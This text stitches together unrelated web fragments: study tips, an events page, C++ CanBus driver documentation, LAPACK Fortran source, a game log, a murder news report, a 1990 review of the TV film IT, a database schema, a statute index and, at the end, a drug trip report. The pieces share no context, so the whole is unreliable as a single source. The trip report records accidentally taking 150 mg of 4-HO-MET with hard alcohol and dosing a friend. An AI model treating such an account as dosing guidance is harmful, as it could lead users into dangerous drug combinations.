organized, and it's best to know them before you start to write. Be sure to understand the reference
system and all the mechanics of the paper (font, margins, cover sheet, footnotes, etc.).
- Write a draft (and get feedback when possible). Especially for larger papers, you'll have a
higher quality paper (and a better grade) if you can show the professor a draft early enough before
the deadline to make changes.
- Rewrite, edit, rewrite, edit, rewrite. Learn that editing and rewriting are your friends.
No one is a good enough writer to whip out the final draft in one sitting. The best writers go
through a process.
- Proofread, proofread, proofread. Spellcheckers catch spelling errors, but not other problems,
so learn the art of proofreading. Or better, have a buddy system with a friend in which you proofread
each other's papers.
8. Study, Study, Study
Another obvious one here? Perhaps, but the rule is you should be spending at least three hours
outside of class for every hour in it. And for some classes, you'll find you need a lot more time
than that to master the material. So, here are some suggestions:
- Study early and often. Breaking your studying into shorter periods of time will make less
of a chore -- and give your mind time to absorb the material before moving on.
- Develop and practice good study habits. Make it a habit and studying will become second nature to you.
- Know how you best study, learn material. Some people need complete silence to concentrate while
others like a little noise. Find what works for you and stick with it.
- Study with friends to gain support, but… don't turn it into a social event. A study buddy can be a great tool, as long as you actually get some studying accomplished.
- Make sure work is done before socializing. Studying is critical to learning, which is critical to better grades -- so do the work before heading out to have fun.
9. Be a Good Test-Taker
Just about all college classes have exams, and sometimes the exams are the major portion of your final grade,
so it's important to become a good test-taker. Here are some hints:
- Know what to expect on exams. Every professor has a style of test development, so obtain old copies
or ask the professor directly. Know the types of questions that will be asked -- as well as the content
that will be covered.
- Read questions carefully and plan answers. Take your time at the beginning of the test to read
through all the instructions and make a plan of attack.
- Pace yourself so you have plenty of time to complete all parts. And know the point values of questions,
so you can be sure to complete the most important ones first in case time does run out.
- Ask questions. If you don't understand something, or need clarification of the question, ask
the professor. Don't wait to get the exam back and find you answered a question the wrong way.
10. Polish Those Verbal Communications Skills
Many classes include a presentation component, so use these tips to improve your verbal communications
skills and maximize your grade:
- Practice speeches, presentations. The best speeches and presentations are the well-rehearsed ones,
so complete your script or outline early enough to have time to practice the presentation (and to make
sure it falls within the specified time limit).
- If using technology, always have a back-up. Technology is great, but sometimes it fails.
If you have a PowerPoint presentation, make copies of it as a handout in case you need it.
- Know the presentation situation -- and plan accordingly. Every professor has a set of guidelines
when grading presentations, and many classroom set-ups are different, so know the situation before going
into the presentation.
Final Thoughts
Following these guidelines should help your grades immensely, but here is one other tip.
Remember to think of your professors as your allies, not your enemies. And if not your allies,
at least your partners. Our goal is for every student to learn and master the materials in the course.
And if you master the materials, you should have a good grade in the class. And if you're struggling with
some aspect of the course, just go see the professor. We're here to help you become the best you can be.
Source: www.quintcareers.com
|


Events
There's one thing you can not download and that's a live performance.
And hence, we present you with this show.
Come join us!
A picture is worth a thousand words
But
How 'bout a video?
(Click to play if not playing)
Celebrity Performance
Overcome the notion that you must be regular. It robs you of the chance to be extraordinary.
Singing Competition
Find your authentic voice, become vulnerable, and then put yourself out here.
Band Competition
Band is not proud because it performs well; it performs well because it is proud.
Dance
Caution not spirit, let it roam wild; for in that natural state dance embraces divine frequency.
AAKRITI
Art is the only way to run away without leaving home.
Tech Talks
Let’s go invent tomorrow instead of worrying about what happened yesterday.
Seminar
Learn the rules like a pro, so you can break them like an artist.
Extras
A little extra kick is always a good thing!


CanBus is the implementation of the CanBusInterface.
More...
#include <can_bus.hpp>
|
| static THREAD_FUNCTION_RETURN_TYPE | loop (void *instance_pointer) |
| | private attributes and methods More...
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| |
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| real_time_tools::SingletypeThreadsafeObject< CanBusConnection, 1 > | can_connection_ |
| | Attributes. More...
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| |
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std::shared_ptr< real_time_tools::ThreadsafeTimeseries< CanBusFrame > > | input_ |
| | input_ is a list of time stamped frame to be send to the can network.
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| |
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std::shared_ptr< real_time_tools::ThreadsafeTimeseries< CanBusFrame > > | sent_input_ |
| | sent_inupt_ is the list of the input already sent to the network.
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| |
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std::shared_ptr< real_time_tools::ThreadsafeTimeseries< CanBusFrame > > | output_ |
| | output_ is the list of the frames received from the can network.
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| |
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bool | is_loop_active_ |
| | This boolean makes sure that the loop is not active upon destruction of the current object.
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| |
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real_time_tools::RealTimeThread | rt_thread_ |
| | rt_thread_ is the thread object allowing us to spawn real-time threads.
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| |
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std::string | log_dir_ |
| | Log directory.
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| |
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std::string | name_ |
| | time_log_name is the name of the loggin
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| |
CanBus is the implementation of the CanBusInterface.
◆ CanBus()
| blmc_drivers::CanBus::CanBus |
( |
const std::string & |
can_interface_name, |
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const size_t & |
history_length = 1000 |
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) |
| |
Construct a new CanBus object.
- Parameters
-
| can_interface_name | |
| history_length | |
◆ get_input_frame()
| virtual std::shared_ptr<const CanframeTimeseries> blmc_drivers::CanBus::get_input_frame |
( |
| ) |
|
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inlinevirtual |
◆ get_output_frame()
| std::shared_ptr<const CanframeTimeseries> blmc_drivers::CanBus::get_output_frame |
( |
| ) |
const |
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inlinevirtual |
◆ get_sent_input_frame()
| virtual std::shared_ptr<const CanframeTimeseries> blmc_drivers::CanBus::get_sent_input_frame |
( |
| ) |
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inlinevirtual |
◆ loop()
| static THREAD_FUNCTION_RETURN_TYPE blmc_drivers::CanBus::loop |
( |
void * |
instance_pointer | ) |
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inlinestaticprivate |
private attributes and methods
This function is an helper that allows us to launch real-time thread in xenaomai, ubunt, or rt-preempt seemlessly.
- Parameters
-
- Returns
- THREAD_FUNCTION_RETURN_TYPE (is void or void* depending on the OS.
◆ receive_frame()
Get the output frame from the bus.
- Returns
- CanBusFrame is the output frame data.
◆ send_frame()
| void blmc_drivers::CanBus::send_frame |
( |
const CanBusFrame & |
unstamped_can_frame | ) |
|
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private |
Send input data.
- Parameters
-
| unstamped_can_frame | is a frame without id nor time. |
◆ send_if_input_changed()
| void blmc_drivers::CanBus::send_if_input_changed |
( |
| ) |
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virtual |
◆ set_input_frame()
| virtual void blmc_drivers::CanBus::set_input_frame |
( |
const CanBusFrame & |
input_frame | ) |
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inlinevirtual |
◆ setup_can()
| CanBusConnection blmc_drivers::CanBus::setup_can |
( |
std::string |
name, |
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|
uint32_t |
err_mask |
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) |
| |
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private |
Setup and initialize the CanBus object.
It connects to the can bus. This method is used once in the constructor.
- Parameters
-
| name | is the can card name. |
| err_mask,always | used with "0" so far (TODO: Manuel explain) |
- Returns
- CanBusConnection
◆ can_connection_
| real_time_tools::SingletypeThreadsafeObject<CanBusConnection, 1> blmc_drivers::CanBus::can_connection_ |
|
private |
Attributes.
can_connection_ is the communication object allowing to send or receive can frames.
The documentation for this class was generated from the following files:


SUBROUTINE CTREVC( SIDE, HOWMNY, SELECT, N, T, LDT, VL, LDVL, VR, $ LDVR, MM, M, WORK, RWORK, INFO ) * * -- LAPACK routine (version 3.1) -- * Univ. of Tennessee, Univ. of California Berkeley and NAG Ltd.. * November 2006 * * .. Scalar Arguments .. CHARACTER HOWMNY, SIDE INTEGER INFO, LDT, LDVL, LDVR, M, MM, N * .. * .. Array Arguments .. LOGICAL SELECT( * ) REAL RWORK( * ) COMPLEX T( LDT, * ), VL( LDVL, * ), VR( LDVR, * ), $ WORK( * ) * .. * * Purpose * ======= * * CTREVC computes some or all of the right and/or left eigenvectors of * a complex upper triangular matrix T. * Matrices of this type are produced by the Schur factorization of * a complex general matrix: A = Q*T*Q**H, as computed by CHSEQR. * * The right eigenvector x and the left eigenvector y of T corresponding * to an eigenvalue w are defined by: * * T*x = w*x, (y**H)*T = w*(y**H) * * where y**H denotes the conjugate transpose of the vector y. * The eigenvalues are not input to this routine, but are read directly * from the diagonal of T. * * This routine returns the matrices X and/or Y of right and left * eigenvectors of T, or the products Q*X and/or Q*Y, where Q is an * input matrix. If Q is the unitary factor that reduces a matrix A to * Schur form T, then Q*X and Q*Y are the matrices of right and left * eigenvectors of A. * * Arguments * ========= * * SIDE (input) CHARACTER*1 * = 'R': compute right eigenvectors only; * = 'L': compute left eigenvectors only; * = 'B': compute both right and left eigenvectors. * * HOWMNY (input) CHARACTER*1 * = 'A': compute all right and/or left eigenvectors; * = 'B': compute all right and/or left eigenvectors, * backtransformed using the matrices supplied in * VR and/or VL; * = 'S': compute selected right and/or left eigenvectors, * as indicated by the logical array SELECT. * * SELECT (input) LOGICAL array, dimension (N) * If HOWMNY = 'S', SELECT specifies the eigenvectors to be * computed. * The eigenvector corresponding to the j-th eigenvalue is * computed if SELECT(j) = .TRUE.. * Not referenced if HOWMNY = 'A' or 'B'. * * N (input) INTEGER * The order of the matrix T. N >= 0. * * T (input/output) COMPLEX array, dimension (LDT,N) * The upper triangular matrix T. T is modified, but restored * on exit. * * LDT (input) INTEGER * The leading dimension of the array T. LDT >= max(1,N). * * VL (input/output) COMPLEX array, dimension (LDVL,MM) * On entry, if SIDE = 'L' or 'B' and HOWMNY = 'B', VL must * contain an N-by-N matrix Q (usually the unitary matrix Q of * Schur vectors returned by CHSEQR). * On exit, if SIDE = 'L' or 'B', VL contains: * if HOWMNY = 'A', the matrix Y of left eigenvectors of T; * if HOWMNY = 'B', the matrix Q*Y; * if HOWMNY = 'S', the left eigenvectors of T specified by * SELECT, stored consecutively in the columns * of VL, in the same order as their * eigenvalues. * Not referenced if SIDE = 'R'. * * LDVL (input) INTEGER * The leading dimension of the array VL. LDVL >= 1, and if * SIDE = 'L' or 'B', LDVL >= N. * * VR (input/output) COMPLEX array, dimension (LDVR,MM) * On entry, if SIDE = 'R' or 'B' and HOWMNY = 'B', VR must * contain an N-by-N matrix Q (usually the unitary matrix Q of * Schur vectors returned by CHSEQR). * On exit, if SIDE = 'R' or 'B', VR contains: * if HOWMNY = 'A', the matrix X of right eigenvectors of T; * if HOWMNY = 'B', the matrix Q*X; * if HOWMNY = 'S', the right eigenvectors of T specified by * SELECT, stored consecutively in the columns * of VR, in the same order as their * eigenvalues. * Not referenced if SIDE = 'L'. * * LDVR (input) INTEGER * The leading dimension of the array VR. LDVR >= 1, and if * SIDE = 'R' or 'B'; LDVR >= N. * * MM (input) INTEGER * The number of columns in the arrays VL and/or VR. MM >= M. * * M (output) INTEGER * The number of columns in the arrays VL and/or VR actually * used to store the eigenvectors. If HOWMNY = 'A' or 'B', M * is set to N. Each selected eigenvector occupies one * column. * * WORK (workspace) COMPLEX array, dimension (2*N) * * RWORK (workspace) REAL array, dimension (N) * * INFO (output) INTEGER * = 0: successful exit * < 0: if INFO = -i, the i-th argument had an illegal value * * Further Details * =============== * * The algorithm used in this program is basically backward (forward) * substitution, with scaling to make the the code robust against * possible overflow. * * Each eigenvector is normalized so that the element of largest * magnitude has magnitude 1; here the magnitude of a complex number * (x,y) is taken to be |x| + |y|. * * ===================================================================== * * .. Parameters .. REAL ZERO, ONE PARAMETER ( ZERO = 0.0E+0, ONE = 1.0E+0 ) COMPLEX CMZERO, CMONE PARAMETER ( CMZERO = ( 0.0E+0, 0.0E+0 ), $ CMONE = ( 1.0E+0, 0.0E+0 ) ) * .. * .. Local Scalars .. LOGICAL ALLV, BOTHV, LEFTV, OVER, RIGHTV, SOMEV INTEGER I, II, IS, J, K, KI REAL OVFL, REMAX, SCALE, SMIN, SMLNUM, ULP, UNFL COMPLEX CDUM * .. * .. External Functions .. LOGICAL LSAME INTEGER ICAMAX REAL SCASUM, SLAMCH EXTERNAL LSAME, ICAMAX, SCASUM, SLAMCH * .. * .. External Subroutines .. EXTERNAL CCOPY, CGEMV, CLATRS, CSSCAL, SLABAD, XERBLA * .. * .. Intrinsic Functions .. INTRINSIC ABS, AIMAG, CMPLX, CONJG, MAX, REAL * .. * .. Statement Functions .. REAL CABS1 * .. * .. Statement Function definitions .. CABS1( CDUM ) = ABS( REAL( CDUM ) ) + ABS( AIMAG( CDUM ) ) * .. * .. Executable Statements .. * * Decode and test the input parameters * BOTHV = LSAME( SIDE, 'B' ) RIGHTV = LSAME( SIDE, 'R' ) .OR. BOTHV LEFTV = LSAME( SIDE, 'L' ) .OR. BOTHV * ALLV = LSAME( HOWMNY, 'A' ) OVER = LSAME( HOWMNY, 'B' ) SOMEV = LSAME( HOWMNY, 'S' ) * * Set M to the number of columns required to store the selected * eigenvectors. * IF( SOMEV ) THEN M = 0 DO 10 J = 1, N IF( SELECT( J ) ) $ M = M + 1 10 CONTINUE ELSE M = N END IF * INFO = 0 IF( .NOT.RIGHTV .AND. .NOT.LEFTV ) THEN INFO = -1 ELSE IF( .NOT.ALLV .AND. .NOT.OVER .AND. .NOT.SOMEV ) THEN INFO = -2 ELSE IF( N.LT.0 ) THEN INFO = -4 ELSE IF( LDT.LT.MAX( 1, N ) ) THEN INFO = -6 ELSE IF( LDVL.LT.1 .OR. ( LEFTV .AND. LDVL.LT.N ) ) THEN INFO = -8 ELSE IF( LDVR.LT.1 .OR. ( RIGHTV .AND. LDVR.LT.N ) ) THEN INFO = -10 ELSE IF( MM.LT.M ) THEN INFO = -11 END IF IF( INFO.NE.0 ) THEN CALL XERBLA( 'CTREVC', -INFO ) RETURN END IF * * Quick return if possible. * IF( N.EQ.0 ) $ RETURN * * Set the constants to control overflow. * UNFL = SLAMCH( 'Safe minimum' ) OVFL = ONE / UNFL CALL SLABAD( UNFL, OVFL ) ULP = SLAMCH( 'Precision' ) SMLNUM = UNFL*( N / ULP ) * * Store the diagonal elements of T in working array WORK. * DO 20 I = 1, N WORK( I+N ) = T( I, I ) 20 CONTINUE * * Compute 1-norm of each column of strictly upper triangular * part of T to control overflow in triangular solver. * RWORK( 1 ) = ZERO DO 30 J = 2, N RWORK( J ) = SCASUM( J-1, T( 1, J ), 1 ) 30 CONTINUE * IF( RIGHTV ) THEN * * Compute right eigenvectors. * IS = M DO 80 KI = N, 1, -1 * IF( SOMEV ) THEN IF( .NOT.SELECT( KI ) ) $ GO TO 80 END IF SMIN = MAX( ULP*( CABS1( T( KI, KI ) ) ), SMLNUM ) * WORK( 1 ) = CMONE * * Form right-hand side. * DO 40 K = 1, KI - 1 WORK( K ) = -T( K, KI ) 40 CONTINUE * * Solve the triangular system: * (T(1:KI-1,1:KI-1) - T(KI,KI))*X = SCALE*WORK. * DO 50 K = 1, KI - 1 T( K, K ) = T( K, K ) - T( KI, KI ) IF( CABS1( T( K, K ) ).LT.SMIN ) $ T( K, K ) = SMIN 50 CONTINUE * IF( KI.GT.1 ) THEN CALL CLATRS( 'Upper', 'No transpose', 'Non-unit', 'Y', $ KI-1, T, LDT, WORK( 1 ), SCALE, RWORK, $ INFO ) WORK( KI ) = SCALE END IF * * Copy the vector x or Q*x to VR and normalize. * IF( .NOT.OVER ) THEN CALL CCOPY( KI, WORK( 1 ), 1, VR( 1, IS ), 1 ) * II = ICAMAX( KI, VR( 1, IS ), 1 ) REMAX = ONE / CABS1( VR( II, IS ) ) CALL CSSCAL( KI, REMAX, VR( 1, IS ), 1 ) * DO 60 K = KI + 1, N VR( K, IS ) = CMZERO 60 CONTINUE ELSE IF( KI.GT.1 ) $ CALL CGEMV( 'N', N, KI-1, CMONE, VR, LDVR, WORK( 1 ), $ 1, CMPLX( SCALE ), VR( 1, KI ), 1 ) * II = ICAMAX( N, VR( 1, KI ), 1 ) REMAX = ONE / CABS1( VR( II, KI ) ) CALL CSSCAL( N, REMAX, VR( 1, KI ), 1 ) END IF * * Set back the original diagonal elements of T. * DO 70 K = 1, KI - 1 T( K, K ) = WORK( K+N ) 70 CONTINUE * IS = IS - 1 80 CONTINUE END IF * IF( LEFTV ) THEN * * Compute left eigenvectors. * IS = 1 DO 130 KI = 1, N * IF( SOMEV ) THEN IF( .NOT.SELECT( KI ) ) $ GO TO 130 END IF SMIN = MAX( ULP*( CABS1( T( KI, KI ) ) ), SMLNUM ) * WORK( N ) = CMONE * * Form right-hand side. * DO 90 K = KI + 1, N WORK( K ) = -CONJG( T( KI, K ) ) 90 CONTINUE * * Solve the triangular system: * (T(KI+1:N,KI+1:N) - T(KI,KI))'*X = SCALE*WORK. * DO 100 K = KI + 1, N T( K, K ) = T( K, K ) - T( KI, KI ) IF( CABS1( T( K, K ) ).LT.SMIN ) $ T( K, K ) = SMIN 100 CONTINUE * IF( KI.LT.N ) THEN CALL CLATRS( 'Upper', 'Conjugate transpose', 'Non-unit', $ 'Y', N-KI, T( KI+1, KI+1 ), LDT, $ WORK( KI+1 ), SCALE, RWORK, INFO ) WORK( KI ) = SCALE END IF * * Copy the vector x or Q*x to VL and normalize. * IF( .NOT.OVER ) THEN CALL CCOPY( N-KI+1, WORK( KI ), 1, VL( KI, IS ), 1 ) * II = ICAMAX( N-KI+1, VL( KI, IS ), 1 ) + KI - 1 REMAX = ONE / CABS1( VL( II, IS ) ) CALL CSSCAL( N-KI+1, REMAX, VL( KI, IS ), 1 ) * DO 110 K = 1, KI - 1 VL( K, IS ) = CMZERO 110 CONTINUE ELSE IF( KI.LT.N ) $ CALL CGEMV( 'N', N, N-KI, CMONE, VL( 1, KI+1 ), LDVL, $ WORK( KI+1 ), 1, CMPLX( SCALE ), $ VL( 1, KI ), 1 ) * II = ICAMAX( N, VL( 1, KI ), 1 ) REMAX = ONE / CABS1( VL( II, KI ) ) CALL CSSCAL( N, REMAX, VL( 1, KI ), 1 ) END IF * * Set back the original diagonal elements of T. * DO 120 K = KI + 1, N T( K, K ) = WORK( K+N ) 120 CONTINUE * IS = IS + 1 130 CONTINUE END IF * RETURN * * End of CTREVC * END


BostonHacks Five
Directed By Sarah Greisdorf
Attendees: 600
Sponsers: Twilio, Google, Giphy, ITG, BU Spark, Liberty Mutual, Boston University Department of Computer Science, Raytheon, Bose, GitHub, Unity, IBM
Prizes: Nintendo Switches, Amazon Echo Spots, Google Home Hub, Surface Go Tablets, Spark! Fellowship, 410C Dragonboard, Casio CA-506C-5A, Star Wars Millennium Falcon Waffle Makers


Barren Bogs [al20], swamp, in Mandoria, wilderness
Last updated Turn #127
Barren Bogs [al20], swamp, in Mandoria, wilderness
------------------------------------------------------------------------
12: It has begun to rain.
29: Stack of cyclops [ez3n], cyclops, number: 7, arrived from the west.
30: Stack of cyclops [gf0o], cyclops, number: 2, arrived from the east.
30: Stack of cyclops [ib5r], cyclops, number: 5, arrived from the west.
Routes leaving Barren Bogs:
North, swamp, to Barren Bogs [ak20], 14 days
East, swamp, to Barren Bogs [al21], 14 days
South, swamp, to Barren Bogs [am20], 14 days
West, swamp, to Barren Bogs [al19], 14 days
It is raining.
Seen here:
Stack of cyclops [hj6o], cyclops, number: 12
Stack of cyclops [ez3n], cyclops, number: 7
Stack of cyclops [gf0o], cyclops
Stack of cyclops [ib5r], cyclops, number: 4


Suspect charged with murder after Graaff-Reinet woman found dead outside her house
by Canny MaphangaA suspect has been charged with robbery and murder after a woman was found dead outside her Graaff-Reinet house on Sunday, her body wrapped in a blanket.
The 32-year-old man will appear in the Graaff-Reinet Magistrate's Court on Monday after he was found in possession of the woman's belongings.
The police responded to a call from a Santaville resident and found Julian Lukas, 63, wrapped in a blanket outside her home, spokesperson Captain Bradley Rawlinson said in a statement.
"The Graaff-Reinet police immediately responded to information and arrested a 32-year-old man in Santaville, Graaff-Reinet, and recovered property that belonged to Lukas, which were found in the possession of the suspect."
An autopsy will be conducted to determine Lukas' cause of death as the police did not find any visible injuries on her body.


--- title: "Newsletters" permalink: "/newsletters" layout: page pagination: enabled: true ---
{{ newsletter.date | date: '%B %d, %Y' }}


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IT (SPOILERS) A film review by Jim Mann Copyright 1990 Jim Mann
I'll start this review by saying that I am not a horror fan. I won't pick up horror books unless I have a recommendation from someone saying that the book is a good book, not just a good horror book. I am, however, very fond of Stephen King. King transcends the genre, writing good novels, full of good, well-drawn characters.
The novel IT is probably *the* epic horror novel. I chose the word epic deliberately. The book has the feel of an epic. The actions of the characters feel as if they are a part of something much bigger, something very important. King uses a number of narrative techniques and extensive foreshadowing to achieve this. Before any major action happens, you have glimpses of it, helping to make the action seem much bigger when it does occur. (For example, there is mention of "the apocalyptic rock fight" several hundred pages before it actually happens. By the time it does, the reader knows (and feels) that it is a pivotal point in what is to happen.)
IT, like of all of King's major novels, contains well-drawn characters. By book's end, we know the main characters well, understand why they do what they do, have lived with them through several major choices, and so forth.
Last night, ABC presented the first part of a two part "novel for television" based on IT. Actually, instead of calling a "novel for television" they should have called it a "Cliff's notes for television" since it is as close to the King novel as Cliff's notes are to a novel. That is, it seemed to portray some of the surface of the book (not all, by any means. A number of important events are left out). It does not capture the feel of the book. It instead is a pale outline of the book.
First of all, all of the epic proportions of the novel are gone. Key scenes--the rock fight, the first confrontation with it in the sewers--are over quickly and seem rather trite. They certainly happen too easily. There is no real build up to these scenes--they just happen.
Secondly, the characters mostly seem shallow, there motives unclear. This happens a bit with the lucky seven (the 7 kids who challenge it) and happens even more so with the villains. Henry Bowers, the main nemesis of the kids, starts with murderous instincts, unlike in the novel where his descent into evil happens in stages as he crosses barrier after barrier in his criminal behavior. His companions aren't really portrayed at all. (For those who have read the book: I was particularly sorry that they left out Patrick Hofstadter (sp?), one of the creepiest characters I've seen.)
The novel portrays it as an ancient evil, something that had come to earth millions of years in the past and fed on and corrupted what would become the town of Derry, Maine. This comes through almost not at all in the movie. The kids see old pictures of Pennywise the clown (the chief guise of it), and one tells the story of a particularly nasty accident at the town's ironworks. This is not enough to really create the feel of ancient menace that the book conveys.
Moreover, the book has some moments of real menace. The kids seem in real danger a number of times, both when confronting Henry Bowers and his gang and in confronting it in its many forms. The teenage werewolf, a frightening figure in the book, is trivial in the movie, for example. (The movie downplays its shape-shifting, in any case.)
In summary, I'm glad I read the book before seeing the movie, since the movie would have soured me on the book. Will I watch part 2. Yeah, probably. Although at this point it is more a morbid desire to see how else they are going to butcher things.
On final note: how would it rate if I were taking it on its own merits, without reference to the book? That's hard to say, since I have read the book. Probably I'd consider it on par with your typical grade C Hammer film (like a Christopher Lee Dracula film), an OK way to spend two hours at the movie theater, but not anything great.
(Part 2)
On Monday, I reviewed the first part of the TV movie based on Stephen King's IT. At that point, I blasted it, calling it a "Cliff's Notes for Television" rather than a "Novel for Television." The characters were rather shallow and the film just didn't have the scope and epic feel of the novel.
Part 2 was aired last night. It was a bit better. The characters were fleshed out a bit (though still shallow) and the ending didn't seem quite as rushed. However, many of the problems of the first part still remained.
First of all, it failed to give you the feel of the scope, power, and age of it. It was simply a somewhat nasty monster faced by our characters, not the timeless evil it was in the novel.
The ending, while not as rushed as that of part one, still seemed a tad too easy. Moreover, the characters face down it on strictly a physical plain. It is a much more intense moment in the book, fought primarily on what can best be described here as another plain, first by Bill, then by Richie (whose role is trivial in the film).
Another problem is that the film tries to bring in devices from the book, but, without the buildup these things had in the book. Thus, they are just confusing or trite. For example, Bill's "He thrusts his hands against the posts and still insists he sees the ghosts" chant builds up to something of mystic significance in the book, in part because of King's narrative technique, in which Bill remembers this bit by bit. In the movie, many readers must have been shaking their heads, wondering why he was saying such things to the monster at the end.
Similarly, Silver is just Bill's old bike. In the novel, it is built up in such a way that it seems much, much more, so that when Bill used it to "beat the devil" it fits.
Finally, the characters just don't seem to jell the way they do in the book. In the book, each character is an integral part of the whole. Richie, for example, is NOT just the class clown. His joking and his voices are important in the resolution, and are part of the synergy of the lucky seven.
I realize that much of this probably comes from the time constraints. If they had 6 or 8 hours rather than 4, they could have done a much better job. I certainly would have expected more of William Goldman, who is a fine screenwriter. However, what we wound up with was OK and enjoyable, but a pale shadow of what it could have been.
Jim Mann Stratus Computer<EMAIL_ADDRESS>.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


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At Crowe Horwath I developed and maintained hospital accounting and audit web applications using ASP.Net, C#, and Telerik RadControls as a member of the Healthcare team in Indianapolis, Indiana.
Products I worked on in the Crowe Healthcare Suite: Revenue Cycle Analytics, Credit Balance Management, and Denial Management
Agile-like development style involved working closely with developers, accountants, and policy experts to ensure compliance with Medicare, Medicaid, Tricare, and HIPAA regulations
My full-time summer internship transitioned into part-time remote employment from August 2013-May 2013.


WaDE2.0 [WaDE2.01.xml]
| PK | Name | Data Type | NULL | Auto | Default | Comment | FK |
| MethodUUID | NVarChar(250) | Foreign key unique identifier to Methods_dim table. | |||||
| OrganizationUUID | NVarChar(250) | Foreign key unique identifier to Organization_dim table. | |||||
| SiteUUID | NVarChar(250) | Foreign key unique identifier to Sites_dim table. | |||||
| VariableSpecificUUID | NVarChar(250) | Foreign key unique identifier to Variables_dim table. | |||||
| WaterSourceUUID | NVarChar(250) | Foreign key unique identifier to WaterSource_dim table. | |||||
| AllocationCropDutyAmount | Float |
| Crop Duty amount. The number of acres of land that is irrigated for the complete growth of a crop by supplying 1-meter cubes per second of water continuously throughout the crop. | ||||
| Amount | Float |
| The amount of water at this data site at the time. | ||||
| AssociatedNativeAllocationIDs | NVarChar(500) |
| Associated unique identifier for the water right at this data site used by the data provider's in the source data. | ||||
| BeneficialUseCategoryCV | NVarChar(500) | The data provider's recognized stated purpose for the water right (e.g., irrigation, power, etc) (if multiple, provide as a comma separated list). | |||||
| CommunityWaterSupplySystem | NVarChar(250) |
| Name of the community water system the water right serves (if available). | ||||
| CropTypeCV | NVarChar(100) |
| The type of crop watered by the water right (if available) (e.g., wheat, alfalfa, corn, hay, etc.) (applies mostly to irrigation uses). | ||||
| CustomerTypeCV | NVarChar(100) |
| Description of the type of customer the water right services (e.g., Residential, Commercial, Industrial, Institutional, Combined, Unspecified, etc). | ||||
| DataPublicationDate | BigInt |
| Date that this data was published by the data provider to the public. | ||||
| DataPublicationDOI | NVarChar(250) |
| A unique digital object identifier into the original dataset. | ||||
| Geometry | Geometry |
| The GIS objects / shape written in Well-Known Text (WKT) format. | ||||
| IrrigatedAcreage | Float |
| Number of acres irrigated by the water right (if available). | ||||
| IrrigationMethodCV | NVarChar(100) |
| A term to describe the method used for the place of use (if available) (applies mostly to irrigation beneficial uses). | ||||
| PopulationServed | Float |
| The amount of population served by the water right (if available). | ||||
| PowerGeneratedGWh | Float |
| The power (GWh) to be generated by the water right record (if available) (mostly applies to power generating beneficial uses). | ||||
| PowerType | NVarChar(50) |
| Description of the type of power generated. | ||||
| PrimaryUseCategoryCV | NVarChar(250) |
| The primary stated purpose by the water allocation (if available). | ||||
| ReportYearCV | NVarChar(4) | Year corresponding to the annual reporting period for the aggregated data in the reporting unit. | |||||
| SDWISIdentifierCV | NVarChar(250) |
| If the use is municipal, the data provider can add the SDWIS identifier for the CWS. | ||||
| TimeframeEnd | Date | End date when the water right no longer can legally access the assigned water. Format of MM/DD. | |||||
| TimeframeStart | Date | Start date when the water right can legally access the assigned water. Format of MM/DD. |
(none)
(none)
(none)
| Diagram Name |
| 6_InputTables |


Select a State:
{[{ state.stateName }]}
Select a County:
{[{ county.countyName }]}
Tract {[{ tractId }]}
Population {[{ population }]}
DieselPM Concentration: {[{ diesel_conc }]}
Diesel Particulate Matter
Source:
https://www.epa.gov/national-air-toxics-assessment/2011-nata-assessment-results
Legend
Black Greater than 3
Red 2 - 3
Orange 1 - 2
Blue 0.5 - 1
Green Less than 0.5


Pages are specific instances of templates and swap out placeholder content with real representative content to give an accurate depiction of what a user will ultimately see. Pages are essential for testing the effectiveness of the design system. This final form allows us to loop back to modify our molecules, organisms, and templates to better address the real context of the design. Pages also provide a place to test variations in templates, such as testing an article containing a 40-character-length headline and other article with a 340-character-length headline. What does it look like when a user has one item in their shopping cart versus 10 items with a discount code applied? These specific page instances test the resiliency of the system, influencing how the underlying molecules, organisms, and templates are constructed.


CHAPTER 576D
CHILD SUPPORT ENFORCEMENT
Section
576D-1 Definitions
576D-2 Designation of child support enforcement agency;
duties
576D-3 Obtaining or enforcing child support
576D-4 Establishment of paternity
576D-5 Fee for obtaining or enforcing nonpublic assistance
order
576D-6 Other duties of agency
576D-7 Guidelines in establishing amount of child support
576D-8 Transmittal of money collected to department of
human services
576D-9 Incentive payments to State and political
subdivision
576D-10 Collection and disbursal of child support; direct
payment exception
576D-10.5 Liens
576D-11 Staff
576D-11.5 Criminal history record checks
576D-12 Protection of records; divulging confidential
information prohibited; penalties
576D-13 Suspension or denial of licenses
576D-14 Implementation of income withholding
576D-15 Financial institution data match system
576D-16 Duty of employers to report new hires to the agency;
civil penalties for failure to comply with
reporting; national new hire directory
576D-17 Violations; penalties
576D-18 Investigators; access to information
Cross References
Medicaid-related mandates, see chapter 431L.
Law Journals and Reviews
Hawaii's Statewide Child Support Guidelines. 14 HBJ, no. 13, at 9 (2011).


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| DOSE: T+ 0:00 |
350 ml |
oral |
Alcohol - Hard |
(liquid) |
| T+ 0:00 |
150 mg |
oral |
4-HO-MET |
(powder / crystals) |
| T+ 8:00 |
|
smoked |
Cannabis |
(plant material) |
Intending to measure out 150mg of Methylone I, incredibly foolishly, picked up the wrong bag and proceded to ingest approximately 150mg of 4-HO-MET Fumarate. A largely psychedelic-naive friend was also dosed with approximately 50mg, again believing it to be methylone.
First alert hit within 5 minutes, perhaps less. Realising my mistake, we attempted to induce vomiting with salt water, unsuccessfully. After 5 minutes of this, our fate was accepted and I explained what was in store to my friend. After some initial panic, the trip set in properly and there was little we could do but retreat to the relative safety of a bedroom and get on with it.
The visual hallucinations were of an intensity I had never thought possible, and got stronger and stronger over the next hour or two. Multiple life-sized human figures, mainly female, their skin comprised of constantly-refreshing, pulsating and incredibly complex geometric hallucinations. These geometric patterns were 3 dimensional in their own right, wrapped and arranged into the human figures. These figures were extremely real, but benign and empathetic, and could be seen in equal intensity with eyes open or shut. With eyes open, objects were breathing, pulsating and changing in size and position in relation to each other, to a staggering extent.
